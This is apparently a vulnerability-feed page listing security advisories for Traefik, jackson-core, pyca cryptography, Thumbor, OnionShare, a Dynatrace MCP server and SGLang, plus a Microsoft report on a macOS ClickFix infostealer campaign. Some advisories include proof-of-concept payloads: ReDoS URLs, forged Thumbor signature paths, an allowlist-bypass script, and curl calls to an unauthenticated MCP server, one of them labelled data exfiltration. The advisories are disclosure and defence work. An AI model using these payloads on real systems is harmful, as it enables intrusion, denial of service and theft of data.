Search: com.py
335 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.0 | EPSS 1.1% | High7.0EPSS 1.1%GCVE Database ## Summary There is a critical vulnerability in Traefik's default HTTP reverse proxy that leads to unauthenticated cross-user response poisoning. When a client opens an HTTP/2 or HTTP/3 `CONNECT` request, Traefik forwards it — body included — to an HTTP/1.1 upstream over a shared `net/http.Transport`. If the upstream answers the CONNECT with a keep-alive non-2xx response without draining the body, the now-desynchronized backend socket is returned to Traefik's shared connection pool and reused for other clients, letting an attacker make a different client read a response the attacker smuggled — which may be another user's authenticated or private content. The entrypoint's `sanitizePath` option (default `true`) is not a reliable defense: backends that answer `CONNECT /` with a keep-alive non-2xx remain exploitable. The experimental FastProxy implementation was not affected. The issue is fixed by deferring the forwarded CONNECT payload until the backend accepts the tunnel, by not returning CONNECT connections to the shared idle pool, and by discarding the CONNECT body in the ForwardAuth path. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.53 - https://github.com/traefik/traefik/releases/tag/v3.6.24 - https://github.com/traefik/traefik/releases/tag/v3.7.9 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's default reverse proxy forwards a plain HTTP/2 or HTTP/3 `CONNECT` request and its body to an HTTP/1.1 upstream through a shared `net/http.Transport`. When the upstream answers the CONNECT with a keep-alive non-2xx response and does not drain the body, Traefik returns the now desynchronized backend socket to its shared pool and reuses it for other clients. An unauthenticated attacker uses this to make a different client read the attacker's smuggled response. Traefik's default proxy is `net/http/httputil.ReverseProxy` over a shared `http.Transport`, so it inherits the same root cause as the Caddy `reverse_proxy` CONNECT pool poisoning. Traefik ships one partial mitigation Caddy does not. The entrypoint option `sanitizePath` (default `true`) rewrites the forwarded CONNECT's empty path to `/`, so Traefik emits `CONNECT /` instead of authority-form `CONNECT host:port`. This is not a reliable defense. It avoids the smuggle only against backends that reject `CONNECT /` by closing the connection (Apache, nginx). Backends that answer `CONNECT /` with a keep-alive non-2xx and leave the body undrained still cross. That set includes any Go `net/http` server and gunicorn/Flask. Confirmed on the official image `traefik:v3.6.23` (a currently supported release), default configuration, against stock `go-httpbin` (Go) and `kennethreitz/httpbin` (Python gunicorn/Flask), attacker and victim in separate containers, over both HTTP/2 and HTTP/3. ## Affected - `traefik:v3.6.23` (official image) and current v3, default configuration, standard proxy to an HTTP/1.1 upstream. Backend keep-alive pooling is on by default (`MaxIdleConnsPerHost` 200). - Attacker frontend is HTTP/2 or HTTP/3. An HTTP/1.1 frontend is not affected. - The upstream keeps the connection alive after a non-2xx to the forwarded CONNECT and does not drain the body. - The experimental FastProxy implementation is not affected (see Not affected). ## Details Three behaviors compose. 1. Traefik forwards a plain CONNECT as an ordinary proxied request. The default proxy is `httputil.ReverseProxy` with a shared `http.Transport` (`pkg/proxy/httputil/proxy.go`). The director assigns the outbound `URL.Host` directly and does not reject CONNECT, leaving the request body a live stream. The client places a raw HTTP/1.1 request in that body (H2/H3 DATA frames), which is written onto the backend socket after the CONNECT header block. 2. `net/http` writes the CONNECT body unframed and pools the socket. For a CONNECT the transport writes the body with no `Content-Length` and no `Transfer-Encoding`. The upstream answers a keep-alive non-2xx and parses the trailing bytes as a pipelined request. Go reads the non-2xx response and returns the socket to the shared idle pool once the request body reaches EOF (the `wroteRequest` gate), while the smuggled request's response is still pending. 3. Desynchronized reuse. The smuggled request targets a slow endpoint so its response arrives after the socket is pooled. A different client that reuses the socket reads the pending smuggled response as its own. `sanitizePath` (default `true`, `pkg/server/server_entrypoint_tcp.go`) calls `req.URL.JoinPath()`, which turns the CONNECT's empty path into `/`. Traefik emits `CONNECT /`. Whether that stops the smuggle depends only on the backend: Apache and nginx answer `400 Bad Request` with `Connection: close` (socket torn down, no cross); Go `net/http` and gunicorn/Flask | GCVE Database | ||
| –Not rated | – | Microsoft Security Blog In this article Activity overview How ClickFix works Campaign overview ClickFix moved from open pages to fingerprinting gates The fingerprinting gate Mitigation and protection guidance Indicators of compromise (IOC) References Learn more Microsoft Threat Intelligence observed a macOS ClickFix campaign distributing infostealers, including MacSync and Atomic Stealer (AMOS) , through a large cluster of look-alike domains. The campaign evolved from broadly serving ClickFix lures to using a server-side browser-fingerprinting gate that shows the lure primarily to visitors whose environment appears consistent with a genuine macOS browser. This cloaking limits visibility for crawlers, sandboxes, and some automated analysis workflows. The blog details the domain pattern, fingerprinting checks, infection chain, detection coverage, and hunting pivots that defenders can use to identify related activity. Activity overview Microsoft Threat Intelligence has been tracking a macOS ClickFix operation that distributes information-stealing malware through a large family of algorithmically named domains. Over several weeks of monitoring, Microsoft observed a notable shift in tradecraft: the same infrastructure moved from openly serving the malicious command in the served page’s HTML source to concealing the lure behind a server-side fingerprinting gate that reveals the payload only to visitors the server assesses as a genuine macOS target. The chain ultimately delivers information stealers such as MacSync or Atomic Stealer (AMOS). This activity is consistent with the broader shift in macOS ClickFix tradecraft that Microsoft Threat Intelligence previously documented , in which threat actors instruct users to run Terminal commands that retrieve remotely hosted content rather than the traditional approach of delivering a disk image for manual installation. The cluster described here is notable for two reasons: its domains are mass-produced by a recognizable name generator, and it adopted server-side cloaking on existing infrastructure, giving defenders a clear before-and-after view of the same operation. In this blog, we describe the campaign’s domain-generation pattern, the two delivery phases we observed, the fingerprinting gate that now fronts the infrastructure, and the end-to-end infection chain. We also provide hunting guidance, mitigation recommendations, and defanged indicators of compromise. How ClickFix works ClickFix is a social-engineering technique where attackers persuade users to copy and run a command in Terminal instead of downloading a traditional macOS application. The lure usually appears as a fake verification step, software update, download error, or CAPTCHA, with the command disguised as something required to complete the action. Because execution starts from a user-run Terminal command rather than a downloaded app bundle, the flow can avoid parts of the normal macOS application trust path, including quarantine handling, code-signing evaluation, and notarization checks typically applied to downloaded applications. In this campaign, ClickFix remains the delivery mechanism, but the important change is that the lure is no longer shown to every visitor. The page first profiles the visitor through a browser-fingerprinting gate and primarily requests consistent with a genuine macOS browser environment receive the fake “Download for macOS” page and copied Terminal command. Figure 1a – The counterfeit “Download for macOS” page served to a qualifying visitor by a cloaked gate (apricotfilepoint[.]com). The page displays a forged “Verified Publisher” badge and offers a one-click Copy of an obfuscated curl one-liner. Delivery is conditional. During analysis, the same URLs returned different content to different requests. In some case the macOS ClickFix lure, and in others an apparently benign decoy page. In our testing, a request presenting a Windows browser received a decoy page such as a fake browser-extension or VPN landing page (Figure… | Microsoft Security Blog | |||
| High | 8.7 | EPSS 0.5% | CVE-2026-68494FasterXML jackson-core · Unthrottled Resource Allocation High8.7EPSS 0.5%CVE Database V5CVE-2026-68494 The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller. As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes. The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase. Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected. Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08). | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.2% | CVE-2026-69248pyca cryptography · Improper Certificate Validation Medium6.9EPSS 0.2%CVE Database V5CVE-2026-69248 cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE Database ### Summary The regular expression used to parse the `convolution` filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS). ### Details The RegExp for `convolution` is defined as `convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\)`. Within this expression a dangerous subpattern effectively behaves like `(\d+)*,\d+`. ### PoC A filter string containing many repeated values will exhaust `re.match`: - `convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)` - http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/__init__.py#L189. ### Impact A specially crafted URL will lead to denial of service, as new images won't be processed until `re.match` returns. | GCVE Database | ||
| High | 8.2 | EPSS 0.4% | High8.2EPSS 0.4%GCVE Database # HMAC validation bypass via multiple `.replace()` calls when removing URL signature ## Summary Thumbor’s HMAC validation can be bypassed due to the use of Python’s `.replace()` when removing the signature from the URL before validation. Since `.replace()` removes **all occurrences** of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation. This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths. ## Details Thumbor signs URLs using **HMAC-SHA1** to prevent abuse such as loading arbitrary external images or invoking filters without authorization. During request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code: ```python url_signature = self.context.request.hash if url_signature: signer = self.context.modules.url_signer( self.context.server.security_key ) try: quoted_hash = quote(self.context.request.hash) except KeyError: self._error(400, f"Invalid hash: {self.context.request.hash}") return url_to_validate = url.replace( f"/{self.context.request.hash}/", "" ).replace(f"/{quoted_hash}/", "") valid = signer.validate( unquote(url_signature).encode(), url_to_validate ) ``` The issue is that `.replace()` removes **every occurrence** of the substring in the URL, not just the first one. Because the signature itself appears in the URL, an attacker can **inject additional copies of the signature** elsewhere in the path. When Thumbor performs `.replace()`, these extra occurrences are also removed, resulting in a different `url_to_validate` than the original request. ## Example Valid request: ``` /ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg ``` By injecting the same hash inside the URL: ``` /ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg ``` After `.replace()` removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path. Further manipulation is possible due to the **second `.replace()` for the URL-encoded hash (`%3D`)**, enabling more precise path manipulation. Example: ``` /ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/... ``` ## Impact This behavior may allow attackers to: - Bypass HMAC URL validation - Load images from arbitrary domains - Abuse Thumbor deployments as an open proxy / image fetcher - Circumvent domain restrictions intended by the signed URL mechanism ## Root Cause Use of `.replace()` without limiting the number of replacements when removing the signature from the URL. Since the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string. ## Suggested Fix Remove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement. Example: ```python url.replace(f"/{self.context.request.hash}/", "", 1) ``` Alternatively, reconstruct the unsigned URL deterministically from the parsed request components. | GCVE Database | ||
| High | 8.2 | EPSS 0.5% | High8.2EPSS 0.5%GCVE Database ## Summary The `ALLOWED_SOURCES` configuration is meant to restrict which hosts Thumbor's HTTP loader may fetch images from. Plain-string entries in that list (the overwhelming majority of real-world and documented configurations) are passed directly to `re.match()` without escaping. Because `.` is a regex wildcard, every dot in a domain name becomes a bypass vector: `s.glbimg.com` silently matches `sXglbimgYcom`, `sAglbimg.com`, and any other hostname that differs only at a dot position. This undermines the primary SSRF defence that `ALLOWED_SOURCES` is intended to provide. ## Affected component `thumbor/loaders/http_loader.py` — `validate()` ## Proof of concept ```python import re from thumbor.config import Config from thumbor.context import Context from thumbor.loaders import http_loader as loader config = Config() config.ALLOWED_SOURCES = ["s.glbimg.com"] # typical user config ctx = Context(None, config, None) # These should be blocked — both return True due to the unescaped dot print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg")) # True ← bypass print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg")) # True ← bypass # Legitimate origin — correctly allowed print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg")) # True ← correct ``` ## Root cause `thumbor/loaders/http_loader.py` (before fix): ```python for pattern in context.config.ALLOWED_SOURCES: if isinstance(pattern, Pattern): match = url else: pattern = f"^{pattern}$" # <-- dots not escaped, act as regex wildcard match = res.hostname if re.match(pattern, match): return True ``` ## Impact An attacker who can influence the image source URL passed to Thumbor can fetch images from arbitrary hosts, bypassing the `ALLOWED_SOURCES` allowlist. **Preconditions:** - `ALLOWED_SOURCES` contains at least one plain-string entry (the common case; all official documentation examples use plain strings). - The attacker can supply or influence the image URL — true whenever `ALLOW_UNSAFE_URL = True` (the default), or when the application forwards user input to a signed URL endpoint. ## Fix Apply `re.escape()` to plain-string patterns before compiling them, so every character is matched literally: ```python else: pattern = f"^{re.escape(pattern)}$" # dots and other metacharacters are now literal match = res.hostname ``` This is a one-call addition with no breaking change for correctly written configurations. Users who need real regular-expression behaviour should supply a compiled pattern (`re.compile(r"s\.glbimg\.com")`), which is already handled by the existing `isinstance(pattern, Pattern)` branch and is unaffected by this change. The `ALLOWED_SOURCES` docstring in `config.py` was also updated to document the two-mode behaviour explicitly. | GCVE Database | ||
| Medium | 4.8 | EPSS 0.3% | CVE-2026-54706Onionshare cli: OnionShare follows symlinks Medium4.8EPSS 0.3%GCVE DatabaseCVE-2026-54706 ### Summary OnionShare CLI/Desktop 2.6.3 can follow symbolic links inside a selected Share or Website directory and serve the symlink target rather than limiting access to files physically contained in the selected directory. If a user shares a directory that contains attacker-supplied or otherwise untrusted symlinks, a remote recipient with access to the OnionShare service can read arbitrary local files readable by the OnionShare process that the symlink points to. This affects the shipped `onionshare-cli` Python package and the desktop application because both call the same `onionshare_cli.web` file-indexing and streaming code. ### Details Tested repository: `https://github.com/onionshare/onionshare` at commit `8cc75e1d7e88bd31f7276733449d412bf71c8999`. Affected product evidence: - `cli/pyproject.toml` declares `onionshare_cli` version `2.6.3`. - `desktop/pyproject.toml` declares `onionshare` version `2.6.3` and depends on `onionshare_cli` from `../cli`. - `cli/setup.py` publishes `onionshare-cli` and includes `onionshare_cli.web` plus templates/static resources. - `desktop/setup.py` publishes `onionshare` and exposes both `onionshare` and `onionshare-cli` console scripts. Reachable default/common paths: - CLI share mode is the default mode when no `--receive`, `--website`, or `--chat` flag is provided (`cli/onionshare_cli/__init__.py:234-241`) and accepts filesystem paths from CLI arguments (`cli/onionshare_cli/__init__.py:184-189`). - CLI website mode is exposed through `--website` (`cli/onionshare_cli/__init__.py:55-59`). - Desktop Website mode calls `self.web.website_mode.set_file_info(self.filenames)` before starting (`desktop/onionshare/tab/mode/website_mode/__init__.py:281-287`). Desktop Share mode calls `self.mode.web.share_mode.set_file_info(...)` before serving (`desktop/onionshare/tab/mode/share_mode/threads.py:42-49`). - Documentation describes Website mode as selecting files/folders and serving them over OnionShare (`docs/source/features.rst:109-115`). Root cause: - `SendBaseModeWeb.set_file_info()` expands a single selected directory into immediate children and records `os.path.isfile()` entries without rejecting symlinks (`cli/onionshare_cli/web/send_base_mode.py:73-80`, `cli/onionshare_cli/web/send_base_mode.py:100-130`). On POSIX, `os.path.isfile()` follows a symlink to a regular file. - Website mode serves any mapped file path through `stream_individual_file()` (`cli/onionshare_cli/web/website_mode.py:71-97`). `stream_individual_file()` opens the mapped filesystem path directly (`cli/onionshare_cli/web/send_base_mode.py:199-313`, especially `open(file_to_download, "rb")` at line 237). - Share mode default `/download` can include a symlink target when a single selected folder is expanded into root entries and `ZipWriter.add_file()` calls `self.z.write(filename, ...)` without rejecting symlinks (`cli/onionshare_cli/web/share_mode.py:473-539`, `cli/onionshare_cli/web/share_mode.py:574-580`). - Share mode with `--no-autostop-sharing` enables individual file downloads (`cli/onionshare_cli/web/share_mode.py:122-125`) and reaches the same direct streaming sink (`cli/onionshare_cli/web/share_mode.py:430-447`). - A partial mitigation exists only for recursive ZIP directory traversal: `ZipWriter.add_dir()` skips `os.path.islink(full_filename)` (`cli/onionshare_cli/web/share_mode.py:582-600`). That mitigation does not cover Website mode, Share individual downloads, or Share ZIP generation for root-level symlinks after the single-folder expansion path. False-positive screening performed: - URL path traversal without a mapped entry returned 404; the issue is not raw `../` traversal but symlink following after a selected directory has been indexed. - Jinja/template escaping and CSP do not mitigate this because the sink is file read/streaming. - Share mode has a symlink skip in recursive ZIP addition, but local PoC confirmed sibling paths still dereference symlinks. - The default non-public onion service requires the recipient to know the onion address and private key unless the user opts into public mode; this limits exposure but does not prevent disclosure to an authorized recipient or to anyone with the URL/key. Affected versions / patched versions: - Affected versions: unknown; confirmed in version `2.6.3` at commit `8cc75e1d7e88bd31f7276733449d412bf71c8999`. Earlier versions were not tested during this audit. - Patched versions: 2.6.4 Severity: - Rationale: `AV:N` because the file is exposed over the OnionShare HTTP service; `AC:H` because exploitation requires the victim to share a directory containing an attacker-influenced or untrusted symlink to a sensitive local file; `PR:L` because the attacker generally needs the OnionShare URL/private key unless the user intentionally runs public mode; `UI:R` because the OnionShare user must select/start sharing the affected directory; `S:U` because the same local process reads and serves the file; `C:H` because the symlink can point at high-value | GCVE Database | ||
| Medium | 5.4 | EPSS 0.4% | CVE-2026-54707Onionshare cli · OnionShare Receive mode writes uploaded files even when file uploads are disabled Medium5.4EPSS 0.4%GCVE DatabaseCVE-2026-54707 ### Summary OnionShare CLI/Desktop 2.6.3 does not enforce the Receive mode `disable_files` setting at the file upload sink. When a Receive service is configured as a text-message-only endpoint (`--disable-files` / "Disable uploading files"), a remote sender who can reach the OnionShare service can still send a crafted multipart request containing `file[]`; OnionShare writes the uploaded bytes to disk before the route handler skips file accounting. This affects the shipped `onionshare-cli` Python package and the desktop application because both use the same `onionshare_cli.web.receive_mode` request-streaming implementation. ### Details Tested repository: `https://github.com/onionshare/onionshare` at commit `8cc75e1d7e88bd31f7276733449d412bf71c8999`. Affected product evidence: - `cli/pyproject.toml` declares `onionshare_cli` version `2.6.3`. - `desktop/pyproject.toml` declares `onionshare` version `2.6.3` and depends on `onionshare_cli` from `../cli`. - `cli/setup.py` publishes `onionshare-cli` and includes `onionshare_cli.web` plus templates/static resources. - `desktop/setup.py` publishes `onionshare` and exposes both `onionshare` and `onionshare-cli` console scripts. Reachable default/common paths: - CLI Receive mode is exposed through `--receive` (`cli/onionshare_cli/__init__.py:55-57`). - The `--disable-files` option is documented and stored in mode settings (`cli/onionshare_cli/__init__.py:156-160`, `cli/onionshare_cli/__init__.py:254-261`). - Desktop Receive mode exposes the same setting via the "Disable uploading files" checkbox and stores it as `receive.disable_files` (`desktop/onionshare/tab/mode/receive_mode/__init__.py:89-99`, `desktop/onionshare/tab/mode/receive_mode/__init__.py:246-254`). - User documentation says "Disable uploading files" should "only allow submitting text messages, like for an anonymous contact form" (`docs/source/features.rst:64`). - Advanced documentation lists `--disable-files` and `disable_files` as the option to disable receiving files (`docs/source/advanced.rst:162-163`, `docs/source/advanced.rst:455`). Root cause: - The Receive template hides the file input when `disable_files` is set (`cli/onionshare_cli/resources/templates/receive.html:51-56`), but this is only UI-side. - The `/upload` route skips `request.files.getlist("file[]")` and file accounting when `disable_files` is enabled (`cli/onionshare_cli/web/receive_mode.py:96-135`). However, by this point Werkzeug has already parsed the multipart body and invoked the custom stream factory. - `ReceiveModeRequest.__init__()` treats every `POST /upload` or `POST /upload-ajax` as an upload request and creates a receive directory regardless of `disable_files` (`cli/onionshare_cli/web/receive_mode.py:369-391`). - `ReceiveModeRequest._get_file_stream()` creates a writable `ReceiveModeFile` for each uploaded part without checking `self.web.settings.get("receive", "disable_files")` (`cli/onionshare_cli/web/receive_mode.py:517-540`). - `ReceiveModeFile` opens `<receive_mode_dir>/<secure_filename>.part`, writes attacker-controlled bytes, then renames the `.part` file to the final filename (`cli/onionshare_cli/web/receive_mode.py:272-285`, `cli/onionshare_cli/web/receive_mode.py:320-346`). False-positive screening performed: - `secure_filename()` is used at `cli/onionshare_cli/web/receive_mode.py:111-113` and `cli/onionshare_cli/web/receive_mode.py:527-528`, so the confirmed issue is not path traversal; the file is written under the configured receive data directory. - The UI hiding the file input is bypassable by direct multipart POST. - Route-level `if not disable_files` only affects later accounting/status/webhook behavior; it does not prevent the stream sink from creating and writing the file. - Default non-public onion services require the sender to know the onion address and private key unless the user opts into public mode. This limits exposure but does not enforce the user-selected "text only" security policy for authorized senders or public contact-form deployments. - A control case with `disable_text=True` showed submitted text was not written as a message file, demonstrating the harness was exercising the settings boundary. Affected versions / patched versions: - Affected versions: unknown; confirmed in version `2.6.3` at commit `8cc75e1d7e88bd31f7276733449d412bf71c8999`. Earlier versions were not tested during this audit. - Patched versions: 2.6.4 Severity: Rationale: `AV:N` because the Receive endpoint is reached over the OnionShare HTTP service; `AC:L` because a crafted multipart POST is straightforward once the service is reachable; `PR:L` because the sender generally needs the OnionShare URL/private key unless the receiver intentionally runs public mode; `UI:N` because no further receiver interaction is required after service startup; `S:U` because the same local application writes the file; `C:N` because this PoC does not read data; `I:L` because the attacker writes unwanted files in a mode configured to | GCVE Database | ||
| High | 7.5 | High7.5GCVE Database ### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://<server>:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" } | GCVE Database | |||
| Critical | 9.8 | EPSS 1.0% | Critical9.8EPSS 1.0%GCVE DatabaseCVE-2026-15969 Overview Six vulnerabilities have been discovered within the SGLang project, including remote code execution (RCE), server-side request forgery (SSRF), local file read, credential leakage, and model weight exfiltration on a target server. Exploitation does not require authentication in most cases, and some vulnerabilities require only network access with no API keys or user credentials. At the time of publication, no patches are available from the project maintainers, and coordination attempts have been unsuccessful. Description SGLang is an open-source framework for serving large language models (LLMs) and multimodal AI models, supporting models such as Qwen, DeepSeek, Mistral, and Skywork, and is compatible with OpenAI APIs. Six vulnerabilities have been discovered within the tool and are tracked as follows: CVE-2026-15969 SGLang contains unauthenticated RCE in /load_lora_adapter_from_tensors by bypass of SafeUnpickler’s incomplete denylist, allowing arbitrary command execution through crafted base64-encoded pickle payloads. CVE-2026-15971 SGLang contains an RCE vulnerability when the optional dumper subsystem is enabled, which allows for a sandbox escape when DUMPER_SERVER_PORT is set, enabling code execution on inference requests. CVE-2026-15974 SGLang contains an SSRF and local file read in the multimodal generation endpoint /v1/chat/completions because image_url input is unsanitized, allowing access to internal metadata, secrets, and services. CVE-2026-15976 SGLang contains a RCE vulnerability when attempting to load model weights from a HuggingFace repository, specifically within the /update_weights_from_disk , where torch.load(..., weights_only=False) fallback enables pickle deserialization of .bin files. CVE-2026-15977 SGLang contains a credential leakage vulnerability in the /server_info endpoint, which returns API keys and SSL keyfile information when only the --admin-api-key is configured. CVE-2026-15978 SGLang contains a model weight exfiltration vulnerability when no API keys are configured, because SGLang will expose two endpoints that allow a remote attacker to trigger distributed weight broadcasting using NCCL and then triggering data transfer, attackers can exfiltrate all model weights. Impact If exploited, these vulnerabilities could allow an unauthenticated attacker to achieve remote code execution, exfiltrate model weights, or overwrite arbitrary files on the host machine running SGLang. Deployments that expose the affected interface to untrusted networks are at the highest risk of exploitation. Solution Until a patch is available, affected users should consider the following mitigations: Mitigations Restrict access to the service interfaces and ensure they are not exposed to untrusted networks. Implement network segmentation and access controls to prevent unauthorized interaction with the vulnerable endpoints. Change SGLANG_USE_PICKLE_IPC to "false" within environ.py . Disable endpoints not in use to remove potential attack vectors. The SGLang maintainers have begun addressing pickle deserialization vulnerabilities 